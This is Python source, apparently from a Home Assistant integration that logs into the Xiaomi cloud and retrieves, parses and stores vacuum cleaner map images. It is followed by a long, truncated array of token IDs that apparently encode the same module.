map_data.vacuum_room_name, ATTRIBUTE_WALLS: map_data.walls, ATTRIBUTE_ZONES: map_data.zones } return attributes def _update_attributes(self): attributes = {} if self._map_data is not None: data = self._get_attributes_data() for name, value in data.items(): if name in self._allowed_attributes: attributes[name] = value if self._store_map_raw: attributes[ATTRIBUTE_MAP_SAVED] = self._map_saved if self._device is not None: attributes[ATTR_MODEL] = self._device.model attributes[ATTR_USED_API] = self._used_api if self._connector.two_factor_auth_url is not None: attributes[ATTR_TWO_FACTOR_AUTH] = self._connector.two_factor_auth_url self._attributes = attributes def update(self, now): counter = 10 if self._status != CameraStatus.TWO_FACTOR_AUTH_REQUIRED and not self._logged_in: self._handle_login() if self._device is None and self._logged_in: self._handle_device() map_name = self._handle_map_name(counter) if map_name == "retry" and self._device is not None: self._set_status(CameraStatus.FAILED_TO_RETRIEVE_MAP_FROM_VACUUM) self._received_map_name_previously = map_name != "retry" if self._logged_in and map_name != "retry" and self._device is not None: self._handle_map_data(map_name) else: exists = self._device is not None _LOGGER.debug( f"Unable to retrieve map ({now}), " f"Logged in: {self._logged_in} | " f"Map name: {map_name} | " f"Device retrieved: {exists}" ) message = str(self._status) map_data = MapDataParser.create_empty(self._colors, message) self._set_map_data(map_data) self._logged_in_previously = self._logged_in self._update_attributes() def _handle_login(self): _LOGGER.debug("Logging in...") self._logged_in = self._connector.login() if self._logged_in is None: self._set_status(CameraStatus.TWO_FACTOR_AUTH_REQUIRED) elif self._logged_in: self._set_status(CameraStatus.LOGGED_IN) else: self._set_status(CameraStatus.FAILED_LOGIN) if self._logged_in_previously: _LOGGER.error("Unable to log in, check credentials") def _handle_device(self): _LOGGER.debug(f"Retrieving device info, country: {self._country}") country, user_id, device_id, model = self._connector.get_device_details(self._vacuum.token, self._country) if model is not None: self._country = country _LOGGER.debug(f"Retrieved device model: {model}") self._used_api = self._detect_api(model) device_init = DEVICE_MAPPING.get(self._used_api, UnsupportedVacuum) self._device = device_init(self._connector, self._country, user_id, device_id, model) _LOGGER.debug(f"Created device, used api: {self._used_api}") else: self._set_status(CameraStatus.FAILED_TO_RETRIEVE_DEVICE) def _handle_map_name(self, counter): map_name = "retry" if self._device is not None and not self._device.should_get_map_from_vacuum(): map_name = "0" while map_name == "retry" and counter > 0: _LOGGER.debug("Retrieving map name from device") time.sleep(0.1) try: map_name = self._vacuum.map()[0] _LOGGER.debug("Map name %s", map_name) except OSError as exc: _LOGGER.error(f"Got OSError while fetching the state: {str(exc)}") except DeviceException as exc: if self._received_map_name_previously: _LOGGER.warning(f"Got exception while fetching the state: {str(exc)}") self._received_map_name_previously = False finally: counter = counter - 1 return map_name def _handle_map_data(self, map_name): _LOGGER.debug("Retrieving map from Xiaomi cloud") store_map_path = self._store_map_path if self._store_map_raw else None map_data, map_stored = self._device.get_map(map_name, self._colors, self._drawables, self._texts, self._sizes, self._image_config, store_map_path) if map_data is not None: # noinspection PyBroadException try: _LOGGER.debug("Map data retrieved") self._set_map_data(map_data) self._map_saved = map_stored if self._map_data.image.is_empty: self._set_status(CameraStatus.EMPTY_MAP) if self._map_data is None or self._map_data.image.is_empty: self._set_map_data(map_data) else: self._set_map_data(map_data) self._set_status(CameraStatus.OK) except Exception as ex: self._set_status(CameraStatus.UNABLE_TO_PARSE_MAP, ex) else: self._logged_in = False self._set_status(CameraStatus.UNABLE_TO_RETRIEVE_MAP) def _set_status(self, status, ex: Optional[Exception] = None): log = STATUS_LOG_LEVEL.get(status, _LOGGER.debug) log_message = status if ex is not None: log_message = f"{status}, Error: {str(ex)}" self._status = status log(log_message) def _set_map_data(self, map_data: MapData): img_byte_arr = io.BytesIO() map_data.image.data.save(img_byte_arr, format='PNG') self._image = img_byte_arr.getvalue() self._map_data = map_data self._store_image() def _detect_api(self, model: str): if self._forced_api is not None: return self._forced_api if model in API_EXCEPTIONS: return API_EXCEPTIONS[model] def list_contains_model(prefixes): return len(list(filter(lambda x: model.startswith(x), prefixes))) > 0 filtered = list(filter(lambda x: list_contains_model(x[1]), AVAILABLE_APIS.items())) if len(filtered) > 0: return filtered[0][0] return CONF_AVAILABLE_API_XIAOMI def _store_image(self): if self._store_map_image: try: if self._image is not None: image = Image.open(io.BytesIO(self._image)) image.save(f"{self._store_map_path}/map_image_{self._device.model}.png") except Exception as ex: _LOGGER.warning(f"Error while saving image, Error: {str(ex)}")
[ 1, 1053, 12013, 13, 5215, 12183, 13, 5215, 931, 13, 3166, 19229, 1053, 2391, 29892, 28379, 13, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 9435, 29889, 1958, 29918, 1272, 1053, 7315, 1469, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 8768, 1053, 29183, 29892, 18492, 1849, 29892, 7084, 3991, 29892, 317, 7093, 29892, 3992, 29879, 13, 13, 2202, 29901, 13, 1678, 515, 3737, 601, 1053, 6417, 272, 1698, 29963, 22061, 398, 29892, 21830, 2451, 13, 19499, 16032, 2392, 29901, 13, 1678, 515, 3737, 601, 1053, 478, 22061, 398, 408, 6417, 272, 1698, 29963, 22061, 398, 29892, 21830, 2451, 13, 13, 5215, 349, 6227, 29889, 2940, 408, 7084, 13, 13, 3166, 3271, 465, 22137, 29889, 3075, 1053, 8707, 29943, 29918, 20832, 29892, 8707, 29943, 29918, 5813, 29892, 8707, 29943, 29918, 25711, 17013, 29892, 8707, 29943, 29918, 4986, 29968, 1430, 29892, 8707, 29943, 29918, 11889, 5813, 13, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 9435, 29889, 1958, 29918, 1272, 29918, 16680, 1053, 7315, 1469, 11726, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 9435, 29889, 29916, 423, 21019, 29918, 9274, 29918, 11958, 2801, 1053, 1060, 423, 21019, 20442, 20971, 2801, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 3075, 1053, 334, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 29881, 276, 420, 29889, 29894, 22061, 398, 1053, 19155, 420, 29963, 22061, 398, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 264, 6762, 1053, 24321, 5709, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 1007, 2460, 29889, 29894, 22061, 398, 1053, 1528, 333, 2460, 29963, 22061, 398, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 348, 23765, 29889, 29894, 22061, 398, 1053, 853, 23765, 29963, 22061, 398, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 1403, 21019, 29889, 29894, 22061, 398, 1053, 10630, 21019, 29963, 22061, 398, 13, 3166, 2888, 29918, 14036, 29889, 29916, 423, 21019, 29918, 9274, 29918, 1958, 29918, 21111, 272, 29889, 29916, 423, 21019, 29889, 29894, 22061, 398, 1053, 1060, 423, 21019, 29963, 22061, 398, 13, 13, 13, 29918, 14480, 17070, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 2287, 19059, 29918, 1529, 18009, 4214, 353, 426, 13, 1678, 8707, 29943, 29918, 26612, 6227, 6181, 29918, 8787, 29918, 29990, 10764, 6488, 29902, 29901, 1060, 423, 21019, 29963, 22061, 398, 29892, 13, 1678, 8707, 29943, 29918, 26612, 6227, 6181, 29918, 8787, 29918, 29963, 5971, 10403, 29901, 10630, 21019, 29963, 22061, 398, 29892, 13, 1678, 8707, 29943, 29918, 26612, 6227, 6181, 29918, 8787, 29918, 1672, 1367, 10403, 29901, 1528, 333, 2460, 29963, 22061, 398, 29892, 13, 1678, 8707, 29943, 29918, 26612, 6227, 6181, 29918, 8787, 29918, 29928, 1525, 25797, 29901, 19155, 420, 29963, 22061, 398, 29892, 13, 29913, 13, 13, 27047, 29918, 14480, 29918, 1307, 29963, 6670, 353, 426, 13, 1678, 24321, 5709, 29889, 4519, 29902, 20566, 29918, 4986, 29918, 1525, 29911, 3960, 29923, 12064, 29918, 2287, 19059, 29901, 903, 14480, 17070, 29889, 2704, 29892, 13, 1678, 24321, 5709, 29889, 3904, 6181, 29918, 4986, 29918, 16320, 1660, 29918, 23827, 29901, 903, 14480, 17070, 29889, 27392, 29892, 13, 1678, 24321, 5709, 29889, 3904, 6181, 29918, 4986, 29918, 1525, 29911, 3960, 29923, 12064, 29918, 23827, 29901, 903, 14480, 17070, 29889, 27392, 13, 29913, 13, 13, 13, 1990, 478, 22061, 398, 3260, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 2295, 1125, 13, 13, 4706, 3495, 29901, 851, 353, 2295, 29961, 6007, 29943, 29918, 20832, 29962, 13, 4706, 5993, 29901, 851, 353, 2295, 29961, 6007, 29943, 29918, 4986, 29968, 1430, 29962, 13, 4706, 8952, 29901, 851, 353, 2295, 29961, 6007, 29943, 29918, 11889, 5813, 29962, 13, 4706, 4800, 29901, 851, 353, 2295, 29961, 6007, 29943, 29918, 25711, 17013, 29962, 13, 13, 4706, 4216, 1849, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 29928, 4717, 29956, 29892, 518, 2314, 13, 4706, 5716, 29918, 27703, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 1672, 6488, 29918, 15032, 24125, 29892, 426, 1800, 13, 4706, 11955, 29901, 29183, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 15032, 24125, 29892, 426, 1800, 13, 13, 4706, 363, 5716, 29892, 2927, 297, 5716, 29918, 27703, 29889, 7076, 7295, 13, 9651, 11955, 29961, 29888, 29908, 29912, 15032, 1955, 29918, 1672, 6488, 29918, 15094, 25634, 1157, 8345, 29913, 3108, 353, 2927, 13, 13, 4706, 1583, 3032, 29894, 22061, 398, 353, 6417, 272, 1698, 29963, 22061, 398, 29898, 3069, 29892, 5993, 29897, 13, 4706, 1583, 3032, 11958, 2801, 353, 1060, 423, 21019, 20442, 20971, 2801, 29898, 6786, 29892, 4800, 29897, 13, 13, 4706, 1583, 3032, 978, 29901, 851, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 5813, 29892, 22236, 29918, 5813, 29897, 13, 4706, 1583, 3032, 9344, 29918, 29886, 3028, 29901, 6120, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 20656, 29949, 29918, 14474, 29892, 5852, 29897, 13, 4706, 1583, 3032, 3027, 29918, 2917, 29901, 7084, 3991, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 23827, 29918, 26813, 29903, 19094, 29892, 22236, 29918, 23827, 29918, 26813, 29903, 19094, 29897, 13, 4706, 1583, 3032, 27703, 29901, 29183, 353, 11955, 13, 4706, 1583, 3032, 4012, 1849, 29901, 18492, 1849, 353, 8707, 29943, 29918, 26612, 6227, 6181, 29918, 29928, 4717, 29956, 6181, 29903, 29961, 29896, 17531, 565, 360, 4717, 29956, 6181, 29918, 9818, 297, 4216, 1849, 1683, 4216, 1849, 13, 4706, 1583, 3032, 29879, 7093, 29901, 317, 7093, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 5425, 29999, 2890, 29892, 22236, 29918, 5425, 29999, 2890, 29897, 13, 4706, 1583, 3032, 726, 29879, 29901, 3992, 29879, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 4330, 29990, 9375, 29892, 518, 2314, 13, 4706, 1583, 3032, 13509, 29901, 851, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 3217, 3904, 5659, 29979, 29897, 13, 4706, 1583, 3032, 24622, 29918, 15697, 29901, 2391, 29961, 710, 29962, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 1299, 29911, 3960, 29933, 2692, 2890, 29892, 518, 2314, 13, 4706, 1583, 3032, 8899, 29918, 1958, 29918, 1610, 29901, 6120, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 1254, 29949, 1525, 29918, 23827, 29918, 4717, 29956, 29892, 7700, 29897, 13, 4706, 1583, 3032, 8899, 29918, 1958, 29918, 3027, 29901, 6120, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 1254, 29949, 1525, 29918, 23827, 29918, 2382, 29897, 13, 4706, 1583, 3032, 8899, 29918, 1958, 29918, 2084, 29901, 851, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 1254, 29949, 1525, 29918, 23827, 29918, 10145, 29892, 22236, 29918, 1254, 29949, 1525, 29918, 23827, 29918, 10145, 29897, 13, 4706, 1583, 3032, 1454, 1133, 29918, 2754, 29901, 851, 353, 2295, 29889, 657, 29898, 6007, 29943, 29918, 22051, 4741, 29918, 8787, 29897, 13, 13, 4706, 1583, 3032, 10141, 353, 6213, 13, 4706, 1583, 3032, 3880, 29918, 2754, 353, 6213, 13, 4706, 1583, 3032, 1958, 29918, 17314, 353, 6213, 13, 4706, 1583, 3032, 3027, 353, 6213, 13, 4706, 1583, 3032, 1958, 29918, 1272, 353, 6213, 13, 4706, 1583, 3032, 1188, 3192, 29918, 262, 353, 7700, 13, 13, 4706, 1583, 3032, 1188, 3192, 29918, 262, 29918, 1457, 16604, 353, 5852, 13, 4706, 1583, 3032, 13556, 2347, 29918, 1958, 29918, 978, 29918, 1457, 16604, 353, 5852, 13, 13, 4706, 1583, 3032, 15697, 353, 6571, 13, 13, 4706, 1583, 3032, 4882, 353, 24321, 5709, 29889, 26019, 25758, 26664, 4214, 13, 13, 1678, 732, 6799, 13, 1678, 822, 1967, 29898, 1311, 29897, 1599, 28379, 29961, 13193, 5387, 13, 4706, 736, 1583, 3032, 3027, 13, 13, 1678, 732, 6799, 13, 1678, 822, 1024, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 978, 13, 13, 1678, 732, 6799, 13, 1678, 822, 8393, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 15697, 13, 13, 1678, 732, 6799, 13, 1678, 822, 881, 29918, 29886, 3028, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 9344, 29918, 29886, 3028, 13, 13, 1678, 822, 2507, 29918, 265, 29898, 1311, 1125, 13, 4706, 1583, 3032, 9344, 29918, 29886, 3028, 353, 5852, 13, 13, 1678, 822, 2507, 29918, 2696, 29898, 1311, 1125, 13, 4706, 1583, 3032, 9344, 29918, 29886, 3028, 353, 7700, 13, 13, 1678, 822, 903, 657, 29918, 15697, 29918, 1272, 29898, 1311, 1125, 13, 4706, 2910, 29918, 1272, 353, 1583, 3032, 1958, 29918, 1272, 13, 13, 4706, 19600, 353, 5159, 13, 4706, 565, 1583, 3032, 1958, 29918, 1272, 29889, 18901, 338, 451, 6213, 29901, 13, 9651, 19600, 353, 9657, 29898, 13, 18884, 4175, 29898, 2892, 921, 29901, 921, 29961, 29900, 29962, 338, 451, 6213, 29892, 2910, 29898, 2892, 921, 29901, 313, 29916, 29961, 29900, 1402, 921, 29961, 29896, 1822, 978, 511, 1583, 3032, 1958, 29918, 1272, 29889, 18901, 29889, 7076, 580, 4961, 13, 9651, 565, 7431, 29898, 18901, 29897, 1275, 29871, 29900, 29901, 13, 18884, 19600, 353, 1051, 29898, 1311, 3032, 1958, 29918, 1272, 29889, 18901, 29889, 8149, 3101, 13, 13, 4706, 8393, 353, 426, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29907, 1964, 8979, 29934, 8098, 29901, 2910, 29918, 1272, 29889, 1052, 26218, 3285, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 11282, 17070, 29901, 2910, 29918, 1272, 29889, 3090, 914, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29907, 1307, 2190, 3352, 29918, 1672, 29949, 4345, 29901, 2910, 29918, 1272, 29889, 14941, 287, 29918, 18901, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 3217, 3904, 5659, 29979, 29901, 1583, 3032, 13509, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29954, 2891, 29949, 29901, 2910, 29918, 1272, 29889, 27102, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29954, 2891, 29949, 29918, 10145, 29901, 2910, 29918, 1272, 29889, 27102, 29918, 2084, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29954, 2891, 29949, 29918, 15094, 4571, 1783, 3352, 29918, 10145, 29901, 2910, 29918, 1272, 29889, 11965, 18186, 29918, 2084, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 6259, 6632, 19386, 29918, 14824, 1254, 2477, 17101, 29901, 2910, 29918, 1272, 29889, 647, 4395, 29918, 711, 303, 23435, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 6259, 6632, 19386, 29918, 14824, 1254, 2477, 17101, 29918, 29956, 13054, 29918, 19689, 2891, 29949, 29901, 2910, 29918, 1272, 29889, 647, 4395, 29918, 711, 303, 23435, 29918, 2541, 29918, 21596, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 2382, 29901, 2910, 29918, 1272, 29889, 3027, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 3235, 29918, 29923, 3580, 15631, 29901, 2910, 29918, 1272, 29889, 3027, 29889, 275, 29918, 6310, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 23827, 29918, 5813, 29901, 2910, 29918, 1272, 29889, 1958, 29918, 978, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 6632, 29918, 17080, 29918, 29909, 1525, 3289, 29901, 2910, 29918, 1272, 29889, 1217, 29918, 1484, 29918, 598, 294, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 6632, 29918, 29924, 4590, 29925, 4214, 29918, 29909, 1525, 3289, 29901, 2910, 29918, 1272, 29889, 1217, 29918, 4346, 3262, 29918, 598, 294, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 14824, 1254, 2477, 17101, 29901, 2910, 29918, 1272, 29889, 711, 303, 23435, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 14824, 1254, 2477, 17101, 29918, 29956, 13054, 29918, 19689, 2891, 29949, 29901, 2910, 29918, 1272, 29889, 711, 303, 23435, 29918, 2541, 29918, 21596, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 10145, 29901, 2910, 29918, 1272, 29889, 2084, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 1672, 6488, 29918, 23207, 29903, 29901, 19600, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 1672, 29949, 4345, 29901, 2910, 29918, 1272, 29889, 18901, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29963, 2477, 29965, 5005, 29918, 24815, 22122, 29901, 2910, 29918, 1272, 29889, 29894, 22061, 398, 29918, 3283, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29963, 2477, 29965, 5005, 29918, 1672, 6488, 29901, 2910, 29918, 1272, 29889, 29894, 22061, 398, 29918, 8345, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29963, 2477, 29965, 5005, 29918, 1672, 6488, 29918, 5813, 29901, 2910, 29918, 1272, 29889, 29894, 22061, 398, 29918, 8345, 29918, 978, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29956, 1964, 8547, 29901, 2910, 29918, 1272, 29889, 29893, 4293, 29892, 13, 9651, 15531, 29911, 3960, 29933, 26027, 29918, 29999, 1164, 2890, 29901, 2910, 29918, 1272, 29889, 29920, 2873, 13, 4706, 500, 13, 13, 4706, 736, 8393, 13, 13, 1678, 822, 903, 5504, 29918, 15697, 29898, 1311, 1125, 13, 4706, 8393, 353, 6571, 13, 4706, 565, 1583, 3032, 1958, 29918, 1272, 338, 451, 6213, 29901, 13, 9651, 848, 353, 1583, 3032, 657, 29918, 15697, 29918, 1272, 580, 13, 13, 9651, 363, 1024, 29892, 995, 297, 848, 29889, 7076, 7295, 13, 18884, 565, 1024, 297, 1583, 3032, 24622, 29918, 15697, 29901, 13, 462, 1678, 8393, 29961, 978, 29962, 353, 995, 13, 13, 4706, 565, 1583, 3032, 8899, 29918, 1958, 29918, 1610, 29901, 13, 9651, 8393, 29961, 1299, 29911, 3960, 29933, 26027, 29918, 23827, 29918, 29903, 7520, 3352, 29962, 353, 1583, 3032, 1958, 29918, 17314, 13, 13, 4706, 565, 1583, 3032, 10141, 338, 451, 6213, 29901, 13, 9651, 8393, 29961, 1299, 5659, 29918, 20387, 29931, 29962, 353, 1583, 3032, 10141, 29889, 4299, 13, 9651, 8393, 29961, 1299, 5659, 29918, 17171, 29928, 29918, 8787, 29962, 353, 1583, 3032, 3880, 29918, 2754, 13, 13, 4706, 565, 1583, 3032, 11958, 2801, 29889, 10184, 29918, 19790, 29918, 5150, 29918, 2271, 338, 451, 6213, 29901, 13, 9651, 8393, 29961, 1299, 5659, 29918, 16240, 29949, 29918, 4519, 1783, 1955, 29918, 20656, 29950, 29962, 353, 1583, 3032, 11958, 2801, 29889, 10184, 29918, 19790, 29918, 5150, 29918, 2271, 13, 13, 4706, 1583, 3032, 15697, 353, 8393, 13, 13, 1678, 822, 2767, 29898, 1311, 29892, 1286, 1125, 13, 4706, 6795, 353, 29871, 29896, 29900, 13, 13, 4706, 565, 1583, 3032, 4882, 2804, 24321, 5709, 29889, 16240, 29949, 29918, 4519, 1783, 1955, 29918, 20656, 29950, 29918, 1525, 29984, 3120, 19386, 322, 451, 1583, 3032, 1188, 3192, 29918, 262, 29901, 13, 9651, 1583, 3032, 8411, 29918, 7507, 580, 13, 13, 4706, 565, 1583, 3032, 10141, 338, 6213, 322, 1583, 3032, 1188, 3192, 29918, 262, 29901, 13, 9651, 1583, 3032, 8411, 29918, 10141, 580, 13, 13, 4706, 2910, 29918, 978, 353, 1583, 3032, 8411, 29918, 1958, 29918, 978, 29898, 11808, 29897, 13, 4706, 565, 2910, 29918, 978, 1275, 376, 276, 2202, 29908, 322, 1583, 3032, 10141, 338, 451, 6213, 29901, 13, 9651, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 4519, 29902, 20566, 29918, 4986, 29918, 1525, 29911, 3960, 29923, 12064, 29918, 23827, 29918, 21482, 29918, 29963, 2477, 29965, 5005, 29897, 13, 13, 4706, 1583, 3032, 13556, 2347, 29918, 1958, 29918, 978, 29918, 1457, 16604, 353, 2910, 29918, 978, 2804, 376, 276, 2202, 29908, 13, 4706, 565, 1583, 3032, 1188, 3192, 29918, 262, 322, 2910, 29918, 978, 2804, 376, 276, 2202, 29908, 322, 1583, 3032, 10141, 338, 451, 6213, 29901, 13, 9651, 1583, 3032, 8411, 29918, 1958, 29918, 1272, 29898, 1958, 29918, 978, 29897, 13, 13, 4706, 1683, 29901, 13, 9651, 4864, 353, 1583, 3032, 10141, 338, 451, 6213, 13, 13, 9651, 903, 14480, 17070, 29889, 8382, 29898, 13, 18884, 285, 29908, 2525, 519, 304, 10563, 2910, 21313, 3707, 9594, 376, 13, 18884, 285, 29908, 3403, 3192, 297, 29901, 426, 1311, 3032, 1188, 3192, 29918, 262, 29913, 891, 376, 13, 18884, 285, 29908, 3388, 1024, 29901, 426, 1958, 29918, 978, 29913, 891, 376, 13, 18884, 285, 29908, 11501, 27387, 29901, 426, 9933, 5038, 13, 9651, 1723, 13, 13, 9651, 2643, 353, 851, 29898, 1311, 3032, 4882, 29897, 13, 9651, 2910, 29918, 1272, 353, 7315, 1469, 11726, 29889, 3258, 29918, 6310, 29898, 1311, 3032, 27703, 29892, 2643, 29897, 13, 9651, 1583, 3032, 842, 29918, 1958, 29918, 1272, 29898, 1958, 29918, 1272, 29897, 13, 13, 4706, 1583, 3032, 1188, 3192, 29918, 262, 29918, 1457, 16604, 353, 1583, 3032, 1188, 3192, 29918, 262, 13, 13, 4706, 1583, 3032, 5504, 29918, 15697, 580, 13, 13, 1678, 822, 903, 8411, 29918, 7507, 29898, 1311, 1125, 13, 4706, 903, 14480, 17070, 29889, 8382, 703, 3403, 3460, 297, 856, 1159, 13, 13, 4706, 1583, 3032, 1188, 3192, 29918, 262, 353, 1583, 3032, 11958, 2801, 29889, 7507, 580, 13, 4706, 565, 1583, 3032, 1188, 3192, 29918, 262, 338, 6213, 29901, 13, 9651, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 16240, 29949, 29918, 4519, 1783, 1955, 29918, 20656, 29950, 29918, 1525, 29984, 3120, 19386, 29897, 13, 13, 4706, 25342, 1583, 3032, 1188, 3192, 29918, 262, 29901, 13, 9651, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 14480, 1692, 29928, 29918, 1177, 29897, 13, 13, 4706, 1683, 29901, 13, 9651, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 4519, 29902, 20566, 29918, 14480, 1177, 29897, 13, 13, 9651, 565, 1583, 3032, 1188, 3192, 29918, 262, 29918, 1457, 16604, 29901, 13, 18884, 903, 14480, 17070, 29889, 2704, 703, 2525, 519, 304, 1480, 297, 29892, 1423, 16140, 1159, 13, 13, 1678, 822, 903, 8411, 29918, 10141, 29898, 1311, 1125, 13, 4706, 903, 14480, 17070, 29889, 8382, 29898, 29888, 29908, 8015, 2546, 1747, 4742, 5235, 29892, 4234, 29901, 426, 1311, 3032, 13509, 27195, 13, 13, 4706, 4234, 29892, 1404, 29918, 333, 29892, 4742, 29918, 333, 29892, 1904, 353, 1583, 3032, 11958, 2801, 29889, 657, 29918, 10141, 29918, 14144, 29898, 1311, 3032, 29894, 22061, 398, 29889, 6979, 29892, 1583, 3032, 13509, 29897, 13, 4706, 565, 1904, 338, 451, 6213, 29901, 13, 9651, 1583, 3032, 13509, 353, 4234, 13, 9651, 903, 14480, 17070, 29889, 8382, 29898, 29888, 29908, 8015, 2546, 1490, 4742, 1904, 29901, 426, 4299, 27195, 13, 13, 9651, 1583, 3032, 3880, 29918, 2754, 353, 1583, 3032, 4801, 522, 29918, 2754, 29898, 4299, 29897, 13, 13, 9651, 4742, 29918, 2344, 353, 5012, 19059, 29918, 1529, 18009, 4214, 29889, 657, 29898, 1311, 3032, 3880, 29918, 2754, 29892, 853, 23765, 29963, 22061, 398, 29897, 13, 9651, 1583, 3032, 10141, 353, 4742, 29918, 2344, 29898, 1311, 3032, 11958, 2801, 29892, 1583, 3032, 13509, 29892, 1404, 29918, 333, 29892, 4742, 29918, 333, 29892, 1904, 29897, 13, 9651, 903, 14480, 17070, 29889, 8382, 29898, 29888, 29908, 20399, 4742, 29892, 1304, 7882, 29901, 426, 1311, 3032, 3880, 29918, 2754, 27195, 13, 13, 4706, 1683, 29901, 13, 9651, 1583, 3032, 842, 29918, 4882, 29898, 20717, 5709, 29889, 4519, 29902, 20566, 29918, 4986, 29918, 1525, 29911, 3960, 29923, 12064, 29918, 2287, 19059, 29897, 13, 13, 1678, 822, 903, 8411, 29918, 1958, 29918, 978, 29898, 1311, 29892, 6795, 1125, 13, 4706, 2910, 29918, 978, 353, 376, 276, 2202, 29908, 13, 4706, 565, 1583, 3032, 10141, 338, 451, 6213, 322, 451, 1583, 3032, 10141, 29889, 9344, 29918, 657, 29918, 1958, 29918, 3166, 29918, 29894, 22061, 398, 7295, 13, 9651, 2910, 29918, 978, 353, 376, 29900, 29908, 13, 13, 4706, 1550, 2910, 29918, 978, 1275, 376, 276, 2202, 29908, 322, 6795, 1405, 29871, 29900, 29901, 13, 9651, 903, 14480, 17070, 29889, 8382, 703, 8015, 2546, 1747, 2910, 1024, 515, 4742, 1159, 13, 9651, 931, 29889, 17059, 29898, 29900, 29889, 29896, 29897, 13, 13, 9651, 1018, 29901, 13, 18884, 2910, 29918, 978, 353, 1583, 3032, 29894, 22061, 398, 29889, 1958, 580, 29961, 29900, 29962, 13, 18884, 903, 14480, 17070, 29889, 8382, 703, 3388, 1024, 1273, 29879, 613, 2910, 29918, 978, 29897, 13, 13, 9651, 5174, 438, 29173, 408, 5566, 29901, 13, 18884, 903, 14480, 17070, 29889, 2704, 29898, 29888, 29908, 29954, 327, 438, 29173, 1550, 6699, 292, 278, 2106, 29901, 426, 710, 29898, 735, 29883, 2915, 1159, 13, 13, 9651, 5174, 21830, 2451, 408, 5566, 29901, 13, 18884, 565, 1583, 3032, 13556, 2347, 29918, 1958, 29918, 978, 29918, 1457, 16604, 29901, 13, 462, 1678, 903, 14480, 17070, 29889, 27392, 29898, 29888, 29908, 29954, 327, 3682, 1550, 6699, 292, 278, 2106, 29901, 426, 710, 29898, 735, 29883, 2915, 1159, 13, 13, 18884, 1583, 3032, 13556, 2347, 29918, 1958, 29918, 978, 29918, 1457, 16604, 353, 7700, 13, 13, 9651, 7146, 29901, 13, 18884, 6795, 353, 6795, 448, 29871, 29896, 13, 13, 4706, 736, 2910, 29918, 978, 13, 13, 1678, 822, 903, 8411, 29918, 1958, 29918, 1272, 29898, 1311, 29892, 2910, 29918, 978, 1125, 13, 4706, 903, 14480, 17070, 29889, 8382, 703, 8015, 2546, 1747, 2910, 515, 1060, 423, 21019, 9570, 1159, 13, 4706, 3787, 29918, 1958, 29918, 2084, 353, 1583, 3032, 8899, 29918, 1958, 29918, 2084, 565, 1583, 3032, 8899, 29918, 1958, 29918, 